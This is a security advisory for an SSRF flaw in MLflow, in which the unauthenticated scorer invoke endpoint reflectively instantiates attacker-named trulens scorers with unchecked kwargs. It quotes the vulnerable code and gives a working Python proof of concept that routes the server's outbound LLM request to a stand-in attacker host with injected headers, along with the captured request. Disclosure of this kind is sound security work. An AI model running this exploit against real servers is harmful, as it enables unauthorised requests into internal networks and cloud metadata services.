GHSA-2wqp-q3c6-ccj5

Dashboard / Vulnerabilities / GHSA-2wqp-q3c6-ccj5

GHSA-2wqp-q3c6-ccj5

Summary: MLflow: SSRF on unauthenticated MLflow servers via third-party scorer kwargs in the scorer invoke, register, and GenAI evaluate endpoints

Details: ### Summary MLflow's tracking server exposes `POST /ajax-api/3.0/mlflow/scorer/invoke` with **no authentication**, and the handler reflectively instantiates an attacker-named class from attacker-supplied JSON with unconstrained constructor kwargs. With the optional `trulens` + `trulens-providers-litellm` packages installed, an unauthenticated attacker can force the server to make an outbound HTTP request to an arbitrary host of their choosing, carrying attacker-controlled headers (SSRF). ### Details `Scorer.model_validate_json()` reflects a class name from a JSON payload behind an import-path allowlist that never constrains the reflected attribute or its kwargs, in `mlflow/genai/scorers/base.py:549-604`: ```python data = serialized.third_party_scorer_data # attacker JSON module_path = data.get("module") or "" class_name = data.get("class") if not any(module_path == m or module_path.startswith(m + ".") for m in THIRD_PARTY_SCORER_ALLOWED_MODULES): raise MlflowException.invalid_parameter_value(...) module = importlib.import_module(module_path) scorer_class = getattr(module, class_name, None) # attribute NOT constrained ... init_kwargs: dict[str, Any] = dict(data.get("kwargs") or {}) # kwargs NOT constrained ... init_kwargs["model"] = data["model"] # attacker model URI scorer_instance = scorer_class(**init_kwargs) # reflective instantiation ``` The allowlist (`mlflow/genai/scorers/scorer_utils.py:46-51`) only gates the import path: ```python THIRD_PARTY_SCORER_ALLOWED_MODULES = frozenset({ "mlflow.genai.scorers.ragas", "mlflow.genai.scorers.deepeval", "mlflow.genai.scorers.trulens", "mlflow.genai.scorers.phoenix", }) ``` For a `mlflow.genai.scorers.trulens` class, the forwarded `model`/`kwargs` reach an outbound LLM client through a routing choice the attacker controls (`mlflow/genai/scorers/trulens/models.py:97-121`): ```python backend = ScorerLLMClient(model_uri) if backend.route == "databricks": return _create_databricks_provider(backend, **kwargs) if backend.is_native: return _create_gateway_provider(backend, **kwargs) try: from trulens.providers.litellm import LiteLLM litellm_model = backend.model_name ... return LiteLLM(model_engine=litellm_model, **kwargs) # raw attacker kwargs forwarded ``` Only the `litellm` fallback branch reaches raw `**kwargs`; a `model` URI outside MLflow's native provider registry (e.g. `openai:/gpt-4o`) trivially routes there, and `LiteLLM.__init__` forwards `api_base`/`api_key` straight into `litellm.completion()`. - Route: `POST /ajax-api/3.0/mlflow/scorer/invoke` → `_invoke_scorer_handler` (`mlflow/server/handlers.py:7026-7098`), guarded only by `@catch_mlflow_exception`/`@_disable_if_artifacts_only` — no auth decorator. - `Scorer.model_validate_json(serialized_scorer)` (the vulnerable deserialization) runs synchronously, before any tracking-store lookup or `submit_job` call. - Precondition: the server venv must have `trulens` + `trulens-providers-litellm` installed (a documented but optional, not-bundled GenAI-eval setup). ### PoC ```python import time import mlflow from mlflow import MlflowClient import requests TARGET = "http://TARGET:5000" # MLflow tracking server, no auth configured ATTACKER = "http://ATTACKER/collect" # host the attacker controls and monitors client = MlflowClient(tracking_uri=TARGET) # 1. Anonymous setup: create an experiment and log a trace to obtain a trace_id. exp_id = client.create_experiment("poc") mlflow.set_tracking_uri(TARGET) mlflow.set_experiment(experiment_id=exp_id) with mlflow.start_span(name="poc-span") as span: span.set_inputs({"q": "hi"}) span.set_outputs({"a": "hi"}) trace_id = span.request_id # 2. Attack: invoke a reflected trulens scorer whose kwargs point the # outbound LLM client at the attacker host with an attacker-chosen # Authorization value (their own canary, not a server secret). serialized_scorer = { "name": "poc", "third_party_scorer_data": { "module": "mlflow.genai.scorers.trulens", "class": "Coherence", "metric_name": "Coherence", "model": "openai:/gpt-4o", # routes to the litellm fallback "kwargs": { "api_base": ATTACKER, "api_key": "ATTACKER-CANARY", # attacker's own value, not a server secret }, }, } resp = requests.post( f"{TARGET}/ajax-api/3.0/mlflow/scorer/invoke", json={ "experiment_id": exp_id, "serialized_scorer": __import__("json").dumps(serialized_scorer), "trace_ids": [trace_id], }, ) print(resp.status_code, resp.text) time.sleep(5) # scorer job runs asynchronously ``` ``` # Attacker-controlled listener at ATTACKER receives, moments later: POST /collect/chat/completions HTTP/1.1 Authorization: Bearer ATTACKER-CANARY Content-Type: application/json ... ``` The `POST .../chat/completions` request landing on `ATTACKER`, carrying the attacker's own `Authorization` header, is the server-originated outbound request — no request was ever sent by the client to that host directly. ### Impact An unauthenticated attacker forces the tracking server to issue an outbound HTTP request to an arbitrary attacker-chosen host — reachable from the server's network position, including internal services or cloud-metadata endpoints — with fully attacker-controlled request headers and body. This is SSRF with header/credential injection into the server-originated request; it requires no prior authentication and no operator misconfiguration beyond having the optional `trulens` + `trulens-providers-litellm` packages installed alongside MLflow.

References: https://github.com/mlflow/mlflow/security/advisories/GHSA-2wqp-q3c6-ccj5, https://github.com/mlflow/mlflow/pull/25890, https://github.com/mlflow/mlflow/commit/bac30b4148c4f40045b4d4db07ae60ab3838803f, https://github.com/mlflow/mlflow, https://github.com/mlflow/mlflow/releases/tag/v3.17.0